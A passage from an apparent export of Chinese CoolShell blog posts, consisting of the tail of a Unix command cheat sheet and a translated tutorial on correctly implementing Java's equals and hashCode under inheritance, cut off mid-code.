输出指定日期格式 (如：月份) | date +%m |\n| DF | :: |\n| 以kB单位查看磁盘空间 | df -k |\n| DIRCMP | :: |\n| 比较两个目录 | dircmp <dir1> <dir2> |\n| DTKSH | :: |\n| dtksh 是一个 X11 图形的ksh93 | dtksh |\n| DU | :: |\n| 磁盘使用情况 | du -ks |\n| ED  | :: |\n| 命令行编译器。 | ed <file> |\n| EGREP | :: |\n| 使用“或”条件Grep 文件 | egrep ‘(A|B)’ <file> |\n| grep文件中即不包括A也不包括B | egrep -v ‘(A|B)’ <file> |\n| EX | :: |\n| 使用一个shell脚来来编辑一个文件 | ex -s file <<EOF\ng/money/s//cash/\nEOF |\n| 以一个脚本文件来编辑一个文件 | ex -s file < scriptfile |\n| EXPR | :: |\n| 求模 | expr 10 % 7 |\n| 查看字串是否在变量$var中 | expr $var : ‘string’ |\n| 显示第一个数字组成的字串 | expr $var : ‘[^0-9]\\*\\([a-z]\\*\\)’ |\n| FGREP | :: |\n| 查找不匹配于某正规表达式的文件行 | fgrep ‘\\*,/.()’ <file> |\n| FILE | :: |\n| 查看文件类型(如： ascii) | file <file> |\n| FIND | :: |\n| 在整个文件系统中查的一个文件 | find / -type f -name <file> -print |\n| 查找所有匹配于模式的文件 | find . -type f -name “\\*<foo>\\*” -print |\n| 删除系统中所有的core文件 | find / -type f -name core -exec /bin/rm -f {} \\; |\n| 查找所有包含某单词的文件 | find . -type f -exec grep -l <word> {} \\; |\n| 查找所有修改日期在30天以前的文件 | find . -type f -ctime +30 -print |\n| 使用xargs来备份所有的.c文件（加上.bak后缀） | find . -name “\\*.c” -print | xargs -i cp {} {}.bak |\n| 只搜索本地文件系统（不搜索nfs文件系统） | find . -local … |\n| 在搜索的过程中，跟随link文件的实际位置 | find . -follow … |\n| 查找大于1M的文件 | find /path -size 1000000c -print |\n| 运行find命令但忽略”permission denied” | find … 2>/dev/null ( 只能在sh/bash/ksh ) |\n| 查找所有的man目录 | find / -type d -print | egrep ‘.\\*/(catman|man)$’ |\n| 查找所有有写权限的目录 | find / -type d -perm -002 -print |\n| GAWK  | :: |\n| GNU版本的nawk |  |\n| GREP | :: |\n| 以某个正规表达式查找包含其的文件行 | grep ‘[a-z][0-9]’ <file> |\n| 查找不包含指定正则表达式的文件行 | grep -v ‘^From’ <file> |\n| 查找一组文件 | grep -l ‘^[cC]’ \\*.f |\n| 计算包括某正则表达式文件行的数目 | grep -c ‘[Ss]uccess’ <file> |\n| 不区分大小写的查找 | grep -i ‘lAbEgF’ <file> |\n| 在匹配到的文件内容前输出文件的行号 | grep -n ‘mo.\\*y’ <file> |\n| HINV  | :: |\n| 命令显示系统硬件的详细列表，包括：CPU类型、内存大小、所有的磁盘设备。 | hinv -v |\n| IF then else ENDIF  | :: |\n| csh/tcsh中的if 语句 |  |\n| IF then else FI  | :: |\n| sh/bash/ksh 中的if 语句 | if [[ condition ]];then commands;fi |\n| KSH | :: |\n| Korn shell. (ksh88) |  |\n| LN | :: |\n| 创建一个硬链接文件a链接到文件A | ln a B |\n| 创建一个符号链接文件a链接到文件A | ln -s a B |\n| 删除链接文件B | rm B |\n| LP | :: |\n| 在默认打印机上打印文件 | lp <file> |\n| 在指定打印机上打印文件 | lp -d <destination> <file> |\n| LPSTAT | :: |\n| 显示所有的打印机 | lpstat -a |\n| 查看打印机任务队列 | lpstat -o |\n| 查看默认打印机 | lpstat -d |\n| 查看打印机状态 | lpstat -p |\n| 查看计划任何状态 | lpstat -r |\n| MAKE | :: |\n| 执行一个 makefile中的第一个目标 | make |\n| 执行一个 makefile中的指点目标 | make <target> |\n| 指定一个特定的makefile文件名 | make -f <mymakefile> |\n| 显示要做什么，但其实什么也没做 | make -n <target> |\n| MKDIR | :: |\n| 一次创键目录和子目录 | mkdir -p <path>/<path>/<path> |\n| MOUNT  | :: |\n| 查看挂载的文件卷 | mount |\n| 查看挂载的文件卷（有格式的） | mount -p |\n| 挂载一个光驱到目录/cdrom | mount /dev/cdrom /cdrom |\n| 挂载一个磁盘分区到目录 /usr | mount /dev/dsk/c0t3d0s5 /usr |\n| NAWK | :: |\n| 增强版的 awk |  |\n| NL | :: |\n| 以带行号的方式输出文件 | nl -bt -nln <file> |\n| NOHUP | :: |\n| 启动一个命令马上退出 | nohup <command> & |\n| PACK | :: |\n| 一个很老的文件打包程序，现在被gzip代替了。 | pack <file> |\n| PASSWD | :: |\n| 修改你的帐号口令 | passwd |\n| 删除一个用户的口令(root使用) | passwd -d <username> |\n| 改变一个用户的口令 (root使用) | passwd <username> |\n| PASTE | :: |\n| 以列的方式把多个文件组合起来 | paste <file1> <file2> > <newfile> |\n| PERL | :: |\n| Perl脚本语言的解释器 |\n| PR | :: |\n| 把一个文件做成可打印的格式（76行一页） | pr -l76 -h”title” <filename> |\n|  |  |\n| REGCMP | :: |\n| 从一个文件中编译正则表达式 | regcmp <file> |\n| 文件内容示例 | varname “^[a-z].\\*[0-9.\\*$” |\n| RESET | :: |\n| 重置终端设备 | reset |\n| RPCINFO | :: |\n| 取得某主机的TCP端口信息 | rpcinfo -p <host> |\n| RSH | :: |\n| 执行一个远程服务器上的命令 | rsh <host> <comand> |\n| SCRIPT | :: |\n| 用来捕捉当前的终端会话中的所有输入输出结果到一个指定的文件 | script <logfile> |\n| SED | :: |\n| 把某文件中的fred替换成john | sed -e ‘s/fred/john/g’ <file> |\n| 替换文件中匹配正则表达式的字符串 | sed -e ‘s/[0-9]+/number/g’ <file> |\n| 把HTML文件中的 “X” 变成红色 | sed -e ‘s!X!<font color=”#FF0000″>X</font>!g; |\n| 把所有后缀为.suf1 改名成.suf2 | ls -1 | grep ‘\\.suf1$’ | sed -e ‘s/\\(.\\*\\.\\)suf1/mv & \\1suf2/’ | sh |\n| 把文件中包含c的行中的a 替换成b | sed -e ‘/C/s/A/B/’ <infile> ><outfile> |\n| 删除所有包含 “you owe me”的文件行 | sed -e ‘/you owe me/d’ <infile> > <outfile> |\n| 使用commandfile中的命令来编译infile文件，并输出到outfile中。其中的commandfile中包含了一系列的vi命令 | sed -f <commandfile> <infile> > <outfile> |\n| SH | :: |\n| 最老的 AT&T shell程序，也是使用最广泛的标准确shell。 |\n| SHUTDOWN | :: |\n| 关机 | shutdown -h now |\n| SLEEP | :: |\n| sleep 10秒钟 | sleep 10 |\n| SORT | :: |\n| 以字符顺序把文件的每一行排序 | sort <file> |\n| 以数字顺序把文件的每一行排序 | sort -n <file> |\n| 反向排序 | sort -r <file> |\n| 排序时对于重复项只保留一个 | sort -u <file> |\n|  |  |\n| SPELL | :: |\n| 检查拼写错误 | spell <file> |\n| 检查拼写错误，但是忽略okfile中包含的单词 | spell +<okfile> <file> |\n| SPLIT | :: |\n| 拆分一个大文件，每个文件1m | split -b1m <file> |\n| 把拆分后的文件合并起来 | cat x\\* > <newfile> |\n| STRINGS | :: |\n| 从二进制文件中读取ascii 字符串 | strings <file> |\n| STTY | :: |\n| 显示终端设置 | stty -a |\n| 设置 Ctrl+”H”为删除键 | stty erase “^H” |\n| 对于用户的输入不回显 | stty -echo |\n| 回显用户的输入 | stty echo |\n| SU | :: |\n| 切换到root用户 | su |\n| 切换到root用户并使用其环境 | su – |\n| 切换到另一用户 | su <username> |\n| TAIL | :: |\n| 显示某文件中的文件尾中包含pattern的文件行 | tail -f <file> | grep <pattern> |\n| TAR | :: |\n| 把整个目录打包（没有压缩） | tar cvf <outfile>.tar <dir> |\n| 解包某个tar文件 | tar xvf <file>.tar |\n| 先解压缩再解包 | gzip -dc <file>.tar.gz | tar xvf – |\n| 打包成一个压缩包 | tar xzvf <file>tar.gz |\n| 在.cshrc中设置 tar命令的tape 变量 | tape=/dev/rmt/0mbn |\n| 把一个目录打包到tape变量所指的目录中 | tar cv <dir> |\n| 从tape中解包 | tar xv |\n| 从tape中解出一个文件 | tar xv <file> |\n| 从 tape中得到一个内容表 | tar t |\n| 以合适的权限和链接拷贝一个目录 | (cd fromdir && tar -cBf – . ) | ( cd todir && tar -xBf – ) |\n| TCSH | :: |\n| Berkly的另一个非常不错的shell |\n| TEE | :: |\n| 把标准输入重定向到标准输出 | who | tee -a > <file> |\n| TEST | :: |\n| 检查是否是一个文件 | test -a <file> |\n| 检查是否某文件是否是root属性 | test -O /usr/bin/su |\n| 检查某变量是否为 null | test -n “$foo” |\n| 以数字的方式比较两个数字字符串 | test $var1 -gt $var2 |\n| 在ksh 脚本中间接地使用”test” | if [[ -a <file> ]];then …;fi |\n| TIME | :: |\n| 查看运行一个命令需要多少时间 | time <command> |\n| TOUCH | :: |\n| 更新文件的修改时间为当前时间，文件不存在则创建文件 | touch <file> |\n| TR | :: |\n| 使用x替换a，y替换b，c替换z | tr ‘[a-c]’ ‘[x-z]’ < infile > outfile |\n| TRAP | :: |\n| 捕捉”^C” 并执行子程序 | trap “mysub;exit” 0 1 2 15 |\n| TRUE | :: |\n| 让个不存在的命令返回0 | ln -s /usr/bin/true ranlib |\n| TRUSS | :: |\n| 查看一个命令运行时的系统调用 | truss <command> > /dev/null |\n| TYPSET | :: |\n| 查看被激活的功能 | typset |\n| TTY | :: |\n| 查看终端所在的设备文件 | tty |\n| ULIMIT | :: |\n| 查看系统所支持的最大文件长度 | ulimit |\n| UMASK | :: |\n| 查看目前的umask | umask |\n| 设置一个umask | umask 077 |\n| UNIQ | :: |\n| 查看一个文件中有多少行是一样的 | sort <file> | uniq -c |\n| 仅输出唯一的没有重复的行 | sort <file> | uniq -u |\n| UPTIME | :: |\n| 查看你的电脑开机多少时间了 | uptime |\n| UUENCODE | :: |\n| Encode一个文件以便发送电子邮件 | uuencode decodedname namenow > codedname |\n| UUDECODE | :: |\n| Decode 一个 uuencoded 文件 | uudecode <file> |\n| WAIT | :: |\n| 等一个后进和运行结束 | wait $jobid |\n| VI | :: |\n| 最主要的unix编译器 | vi <file> |\n| WC | :: |\n| 计算一个文件的行号 | wc -l <file> |\n| XARGS | :: |\n| 把标准输出作为参数来执行一条命令 | <command> | xargs -i grep ‘pattern’ {} |\n| XON | :: |\n| 从另一台电脑上得到一个xterm | xon <host> |\n| 从另一台电脑上得到所有的东西 | xon <host> <X-client> |\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![sed 简明教程](../wp-content/uploads/2013/02/sed-superman-150x150.png)](https://coolshell.cn/articles/9104.html)[sed 简明教程](https://coolshell.cn/articles/9104.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\nThe post [高级Unix命令](https://coolshell.cn/articles/1044.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-18 如何在Java中避免equals方法的隐藏陷阱.md",
    "content": "---\nlayout: post\ntitle: 如何在Java中避免equals方法的隐藏陷阱\ndate: 2009/6/18/ 3:14:41\nupdated: 2009/6/18/ 3:14:41\nstatus: publish\npublished: true\ntype: post\n---\n\n**译者注** :你可能会觉得Java很简单，Object的equals实现也会非常简单，但是事实并不是你想象的这样，耐心的读完本文，你会发现你对Java了解的是如此的少。如果这篇文章是一份Java程序员的入职笔试，那么不知道有多少人会掉落到这样的陷阱中。原文转自<http://www.artima.com/lejava/articles/equality.html> 三位作者都是不同领域的大拿，有兴趣的读者可以从上面这个连接直接去阅读原文。\n\n\n**摘要**  \n\n本文描述重载equals方法的技术，这种技术即使是具现类的子类增加了字段也能保证equal语义的正确性。  \n\n在《Effective Java》的第8项中，Josh Bloch描述了当继承类作为面向对象语言中的等价关系的基础问题，要保证派生类的equal正确性语义所会面对的困难。Bloch这样写到：\n\n\n\n> **除非你忘记了面向对象抽象的好处，否则在当你继承一个新类或在类中增加了一个值组件时你无法同时保证equal的语义依然正确**\n> \n> \n\n\n\n在《Programming in Scala》中的第28章演示了一种方法，这种方法允许即使继承了新类，增加了新的值组件，equal的语义仍然能得到保证。虽然在这本书中这项技术是在使用Scala类环境中，但是这项技术同样可以应用于Java定义的类中。在本文中的描述来自于Programming in Scala中的文字描述，但是代码被我从scala翻译成了Java\n\n\n　\n\n\n#### 常见的等价方法陷阱\n\n\njava.lang.Object 类定义了equals这个方法，它的子类可以通过重载来覆盖它。不幸的是，在面向对象中写出正确的equals方法是非常困难的。事实上，在研究了大量的Java代码后，2007 paper的作者得出了如下的一个结论：\n\n\n\n> 几乎所有的equals方法的实现都是错误的！\n> \n> \n\n\n这个问题是因为等价是和很多其他的事物相关联。例如其中之一，一个的类型C的错误等价方法可能意味着你无法将这个类型C的对象可信赖的放入到容器中。比如说，你有两个元素elem1和elem2他们都是类型C的对象，并且他们是相等，即elem1.equals(elm2)返回ture。但是，只要这个equals方法是错误的实现，那么你就有可能会看见如下的一些行为：\n\n\n\n```\nSet hashSet<C> = new java.util.HashSet<C>();\nhashSet.add(elem1);\nhashSet.contains(elem2);    // returns false!\n```\n\n当equals重载时，这里有4个会引发equals行为不一致的常见陷阱：\n\n\n1. 定义了错误的equals方法签名(signature) Defining equals with the wrong signature.\n2. 重载了equals的但没有同时重载hashCode的方法。 Changing equals without also changing hashCode.\n3. 建立在会变化字域上的equals定义。 Defining equals in terms of mutable fields.\n4. 不满足等价关系的equals错误定义 Failing to define equals as an equivalence relation.\n\n\n在剩下的章节中我们将依次讨论这4中陷阱。\n\n\n　\n\n\n#### 陷阱1：定义错误equals方法签名(signature)\n\n\n考虑为下面这个简单类Point增加一个等价性方法：\n\n\n\n```\npublic class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    // ...\n}\n```\n\n看上去非常明显，但是按照这种方式来定义equals就是错误的。\n\n\n\n```\n// An utterly wrong definition of equals\npublic boolean equals(Point other) {\n  return (this.getX() == other.getX() && this.getY() == other.getY());\n}\n```\n\n这个方法有什么问题呢？初看起来，它工作的非常完美：\n\n\n\n```\nPoint p1 = new Point(1, 2);\nPoint p2 = new Point(1, 2);\n\nPoint q = new Point(2, 3);\n\nSystem.out.println(p1.equals(p2)); // prints true\n\nSystem.out.println(p1.equals(q)); // prints false\n```\n\n然而，当我们一旦把这个Point类的实例放入到一个容器中问题就出现了：\n\n\n\n```\nimport java.util.HashSet;\n\nHashSet<Point> coll = new HashSet<Point>();\ncoll.add(p1);\n\nSystem.out.println(coll.contains(p2)); // prints false\n```\n\n为什么coll中没有包含p2呢？甚至是p1也被加到集合里面，p1和p2是是等价的对象吗？在下面的程序中，我们可以找到其中的一些原因，定义p2a是一个指向p2的对象，但是p2a的类型是Object而非Point类型：\n\n\n\n```\nObject p2a = p2;\n```\n\n现在我们重复第一个比较，但是不再使用p2而是p2a,我们将会得到如下的结果：\n\n\n\n```\nSystem.out.println(p1.equals(p2a)); // prints false\n```\n\n到底是那里出了了问题？事实上，之前所给出的equals版本并没有覆盖Object类的equals方法，因为他的类型不同。下面是Object的equals方法的定义\n\n\n\n```\npublic boolean equals(Object other)\n```\n\n因为Point类中的equals方法使用的是以Point类而非Object类做为参数，因此它并没有覆盖Object中的equals方法。而是一种变化了的重载。在Java中重载被解析为静态的参数类型而非运行期的类型，因此当静态参数类型是Point,Point的equals方法就被调用。然而当静态参数类型是Object时，Object类的equals就被调用。因为这个方法并没有被覆盖，因此它仍然是实现成比较对象标示。这就是为什么虽然p1和p2a具有同样的x,y值，”p1.equals(p2a)”仍然返回了false。这也是会什么HasSet的contains方法返回false的原因，因为这个方法操作的是泛型，他调用的是一般化的Object上equals方法而非Point类上变化了的重载方法equals\n\n\n一个更好但不完美的equals方法定义如下：\n\n\n\n```\n// A better definition, but still not perfect\n@Override public boolean equals(Object other) {\n    boolean result = false;\n    if (other instanceof Point) {\n        Point that = (Point) other;\n        result = (this.getX() == that.getX() && this.getY() == that.getY());\n    }\n    return result;\n}\n```\n\n现在equals有了正确的类型，它使用了一个Object类型的参数和一个返回布尔型的结果。这个方法的实现使用instanceof操作和做了一个造型。它首先检查这个对象是否是一个Point类，如果是，他就比较两个点的坐标并返回结果，否则返回false。\n\n\n　\n\n\n#### 陷阱2：重载了equals的但没有同时重载hashCode的方法\n\n\n如果你使用上一个定义的Point类进行p1和p2a的反复比较，你都会得到你预期的true的结果。但是如果你将这个类对象放入到HashSet.contains()方法中测试，你就有可能仍然得到false的结果：\n\n\n\n```\nPoint p1 = new Point(1, 2);\nPoint p2 = new Point(1, 2);\n\nHashSet<Point> coll = new HashSet<Point>();\ncoll.add(p1);\n\nSystem.out.println(coll.contains(p2)); // 打印 false (有可能)\n```\n\n事实上，这个个结果不是100%的false，你也可能有返回ture的经历。如果你得到的结果是true的话，那么你试试其他的坐标值，最终你一定会得到一个在集合中不包含的结果。导致这个结果的原因是Point重载了equals却没有重载hashCode。  \n\n注意上面例子的的容器是一个HashSet，这就意味着容器中的元素根据他们的哈希码被被放入到”哈希桶 hash buckets”中。contains方法首先根据哈希码在哈希桶中查找，然后让桶中的所有元素和所给的参数进行比较。现在，虽然最后一个Point类的版本重定义了equals方法，但是它并没有同时重定义hashCode。因此，hashCode仍然是Object类的那个版本，即：所分配对象的一个地址的变换。所以p1和p2的哈希码理所当然的不同了，甚至是即时这两个点的坐标完全相同。不同的哈希码导致他们具有极高的可能性被放入到集合中不同的哈希桶中。contains方法将会去找p2的哈希码对应哈希桶中的匹配元素。但是大多数情况下，p1一定是在另外一个桶中，因此，p2永远找不到p1进行匹配。当然p2和p2也可能偶尔会被放入到一个桶中，在这种情况下，contains的结果就为true了。\n\n\n最新一个Point类实现的问题是，它的实现违背了作为Object类的定义的hashCode的语义。\n\n\n\n>  **如果两个对象根据equals(Object)方法是相等的，那么在这两个对象上调用hashCode方法应该产生同样的值**\n> \n> \n\n\n事实上，在Java中，hashCode和equals需要一起被重定义是众所周知的。此外，hashCode只可以依赖于equals依赖的域来产生值。对于Point这个类来说，下面的的hashCode定义是一个非常合适的定义。\n\n\n\n```\npublic class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result = (this.getX() == that.getX() && this.getY() == that.getY());\n        }\n        return result;\n    }\n\n @Override public int hashCode() {\n return (41 \\* (41 + getX()) + getY());\n }\n\n}\n```\n\n这只是hashCode一个可能的实现。x域加上常量41后的结果再乘与41并将结果在加上y域的值。这样做就可以以低成本的运行时间和低成本代码大小得到一个哈希码的合理的分布(**译者注：**性价比相对较高的做法)。  \n\n增加hashCode方法重载修正了定义类似Point类等价性的问题。然而，关于类的等价性仍然有其他的问题点待发现。\n\n\n　\n\n\n#### 陷阱3：建立在会变化字段上的equals定义\n\n\n让我们在Point类做一个非常微小的变化\n\n\n\n```\npublic class Point {\n\n private int x;\n private int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n public void setX(int x) { // Problematic\n this.x = x;\n }\n\n public void setY(int y) {\n this.y = y;\n }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result = (this.getX() == that.getX() && this.getY() == that.getY());\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n}\n```\n\n唯一的不同是x和y域不再是final，并且两个set方法被增加到类中来，并允许客户改变x和y的值。equals和hashCode这个方法的定义现在是基于在这两个会发生变化的域上，因此当他们的域的值改变时，结果也就跟着改变。因此一旦你将这个point对象放入到集合中你将会看到非常神奇的效果。\n\n\n\n```\nPoint p = new Point(1, 2);\n\nHashSet<Point> coll = new HashSet<Point>();\ncoll.add(p);\n\nSystem.out.println(coll.contains(p)); // 打印 true\n```\n\n现在如果你改变p中的一个域，这个集合中还会包含point吗，我们将拭目以待。\n\n\n\n```\np.setX(p.getX() + 1);\n\nSystem.out.println(coll.contains(p)); // (有可能)打印 false\n```\n\n看起来非常的奇怪。p去那里去了？如果你通过集合的迭代器来检查p是否包含，你将会得到更奇怪的结果。\n\n\n\n```\nIterator<Point> it = coll.iterator();\nboolean containedP = false;\nwhile (it.hasNext()) {\n    Point nextP = it.next();\n    if (nextP.equals(p)) {\n        containedP = true;\n        break;\n    }\n}\n\nSystem.out.println(containedP); // 打印 true\n```\n\n结果是，集合中不包含p，但是p在集合的元素中！到底发生了什么！当然，所有的这一切都是在x域的修改后才发生的，p最终的的hashCode是在集合coll错误的哈希桶中。即，原始哈希桶不再有其新值对应的哈希码。换句话说，p已经在集合coll的是视野范围之外，虽然他仍然属于coll的元素。\n\n\n从这个例子所得到的教训是，当equals和hashCode依赖于会变化的状态时，那么就会给用户带来问题。如果这样的对象被放入到集合中，用户必须小心，不要修改这些这些对象所依赖的状态，这是一个小陷阱。如果你需要根据对象当前的状态进行比较的话，你应该不要再重定义equals，应该起其他的方法名字而不是equals。对于我们的Point类的最后的定义，我们最好省略掉hashCode的重载，并将比较的方法名命名为equalsContents，或其他不同于equals的名字。那么Point将会继承原来默认的equals和hashCode的实现，因此当我们修改了x域后p依然会呆在其原来在容器中应该在位置。\n\n\n　\n\n\n#### 陷阱4：不满足等价关系的equals错误定义\n\n\nObject中的equals的规范阐述了equals方法必须实现在非null对象上的等价关系：\n\n\n* 自反原则：对于任何非null值X,表达式x.equals(x)总返回true。\n* 等价性：对于任何非空值x和y，那么当且仅当y.equals(x)返回真时，x.equals(y)返回真。\n* 传递性：对于任何非空值x,y,和z，如果x.equals(y)返回真，且y.equals(z)也返回真，那么x.equals(z)也应该返回真。\n* 一致性：对于非空x,y，多次调用x.equals(y)应该一致的返回真或假。提供给equals方法比较使用的信息不应该包含改过的信息。\n* 对于任何非空值x,x.equals(null)应该总返回false.\n\n\nPoint类的equals定义已经被开发成了足够满足equals规范的定义。然而，当考虑到继承的时候，事情就开始变得非常复杂起来。比如说有一个Point的子类ColoredPoint，它比Point多增加了一个类型是Color的color域。假设Color被定义为一个枚举类型：\n\n\n\n```\npublic enum Color {\n    RED, ORANGE, YELLOW, GREEN, BLUE, INDIGO, VIOLET;\n}\n```\n\nColoredPoint重载了equals方法，并考虑到新加入color域，代码如下：\n\n\n\n```\npublic class ColoredPoint extends Point { // Problem: equals not symmetric\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = (this.color.equals(that.color) && super.equals(that));\n        }\n        return result;\n    }\n}\n```\n\n这是很多程序员都有可能写成的代码。注意在本例中，类ColoredPointed不需要重载hashCode，因为新的ColoredPoint类上的equals定义，严格的重载了Point上equals的定义。hashCode的规范仍然是有效，如果两个着色点(colored point)相等，其坐标必定相等，因此它的hashCode也保证了具有同样的值。\n\n\n对于ColoredPoint类自身对象的比较是没有问题的，但是如果使用ColoredPoint和Point混合进行比较就要出现问题。\n\n\n\n```\nPoint p = new Point(1, 2);\n\nColoredPoint cp = new ColoredPoint(1, 2, Color.RED);\n\nSystem.out.println(p.equals(cp)); // 打印真 true\n\nSystem.out.println(cp.equals(p)); // 打印假 false\n```\n\n“p等价于cp”的比较这个调用的是定义在Point类上的equals方法。这个方法只考虑两个点的坐标。因此比较返回真。在另外一方面，“cp等价于p”的比较这个调用的是定义在ColoredPoint类上的equals方法，返回的结果却是false，这是因为p不是ColoredPoint，所以equals这个定义违背了对称性。\n\n\n违背对称性对于集合来说将导致不可以预期的后果，例如：\n\n\n\n```\nSet<Point> hashSet1 = new java.util.HashSet<Point>();\nhashSet1.add(p);\nSystem.out.println(hashSet1.contains(cp));    // 打印 false\n\nSet<Point> hashSet2 = new java.util.HashSet<Point>();\nhashSet2.add(cp);\nSystem.out.println(hashSet2.contains(p));    // 打印 true\n```\n\n因此虽然p和cp是等价的，但是contains测试中一个返回成功，另外一个却返回失败。  \n\n你如何修改equals的定义，才能使得这个方法满足对称性？本质上说有两种方法，你可以使得这种关系变得更一般化或更严格。更一般化的意思是这一对对象，a和b，被用于进行对比，无论是a比b还是b比a 都返回true，下面是代码：\n\n\n\n```\npublic class ColoredPoint extends Point { // Problem: equals not transitive\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = (this.color.equals(that.color) && super.equals(that));\n        }\n        else if (other instanceof Point) {\n            Point that = (Point) other;\n            result = that.equals(this);\n        }\n        return result;\n    }\n}\n```\n\n在ColoredPoint中的equals的新定义比老定义中检查了更多的情况:如果对象是一个Point对象而不是ColoredPoint，方法就转变为Point类的equals方法调用。这个所希望达到的效果就是equals的对称性，不管”cp.equals(p)”还是”p.equals(cp)”的结果都是true。然而这种方法，equals的规范还是被破坏了，现在的问题是这个新等价性不满足传递性。考虑下面的一段代码实例，定义了一个点和这个点上上两种不同颜色点：\n\n\n\n```\nColoredPoint redP = new ColoredPoint(1, 2, Color.RED);\nColoredPoint blueP = new ColoredPoint(1, 2, Color.BLUE);\n```\n\nredP等价于p，p等价于blueP\n\n\n\n```\nSystem.out.println(redP.equals(p)); // prints true\n\nSystem.out.println(p.equals(blueP)); // prints true\n```\n\n然而，对比redP和blueP的结果是false:\n\n\n\n```\nSystem.out.println(redP.equals(blueP)); // 打印 false\n```\n\n因此，equals的传递性就被违背了。  \n\n使equals的关系更一般化似乎会将我们带入到死胡同。我们应该采用更严格化的方法。一种更严格化的equals方法是认为不同类的对象是不同的。这个可以通过修改Point类和ColoredPoint类的equals方法来达到。你能增加额外的比较来检查是否运行态的这个Point类和那个Point类是同一个类，就像如下所示的代码一样：\n\n\n\n```\n// A technically valid, but unsatisfying, equals method\npublic class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n    public int getY() {\n        return y;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof Point) {\n            Point that = (Point) other;\n            result = (this.getX() == that.getX() && this.getY() == that.getY()\n                    && this.getClass().equals(that.getClass()));\n        }\n        return result;\n    }\n\n    @Override public int hashCode() {\n        return (41 * (41 + getX()) + getY());\n    }\n}\n```\n\n你现在可以将ColoredPoint类的equals实现用回刚才那个不满足对称性要的equals实现了。\n\n\n\n```\npublic class ColoredPoint extends Point { // 不再违反对称性需求\n\n    private final Color color;\n\n    public ColoredPoint(int x, int y, Color color) {\n        super(x, y);\n        this.color = color;\n    }\n\n    @Override public boolean equals(Object other) {\n        boolean result = false;\n        if (other instanceof ColoredPoint) {\n            ColoredPoint that = (ColoredPoint) other;\n            result = (this.color.equals(that.color) && super.equals(that));\n        }\n        return result;\n    }\n}\n```\n\n这里，Point类的实例只有当和另外一个对象是同样类，并且有同样的坐标时候，他们才被认为是相等的，即意味着 .getClass()返回的是同样的值。这个新定义的等价关系满足了对称性和传递性因为对于比较对象是不同的类时结果总是false。所以着色点(colored point)永远不会等于点(point)。通常这看起来非常合理，但是这里也存在着另外一种争论——这样的比较过于严格了。\n\n\n考虑我们如下这种稍微的迂回的方式来定义我们的坐标点(1,2)\n\n\n\n```\nPoint pAnon = new Point(1, 1) {\n    @Override public int getY() {\n        return 2;\n    }\n};\n```\n\npAnon等于p吗？答案是假，因为p和pAnon的java.lang.Class对象不同。p是Point，而pAnon是Point的一个匿名派生类。但是，非常清晰的是pAnon的确是在坐标1，2上的另外一个点。所以将他们认为是不同的点是没有理由的。\n\n\n　\n\n\n#### canEqual 方法\n\n\n到此，我们看其来似乎是遇到阻碍了，存在着一种正常的方式不仅可以在不同类继承层次上定义等价性，并且保证其等价的规范性吗？事实上，的确存在这样的一种方法，但是这就要求除了重定义equals和hashCode外还要另外的定义一个方法。基本思路就是在重载equals(和hashCode)的同时，它应该也要要明确的声明这个类的对象永远不等价于其他的实现了不同等价方法的超类的对象。为了达到这个目标，我们对每一个重载了equals的类新增一个方法canEqual方法。这个方法的方法签名是：\n\n\n\n```\npublic boolean canEqual(Object other)\n```\n\n如果other 对象是canEquals(重)定义那个类的实例时，那么这个方法应该返回真，否则返回false。这个方法由equals方法调用，并保证了两个对象是可以相互比较的。下面Point类的新的也是最终的实现：\n\n\n\n```\npublic class Point {\n\n    private final int x;\n    private final int y;\n\n    public Point(int x, int y) {\n        this.x = x;\n        this.y = y;\n    }\n\n    public int getX() {\n        return x;\n    }\n\n   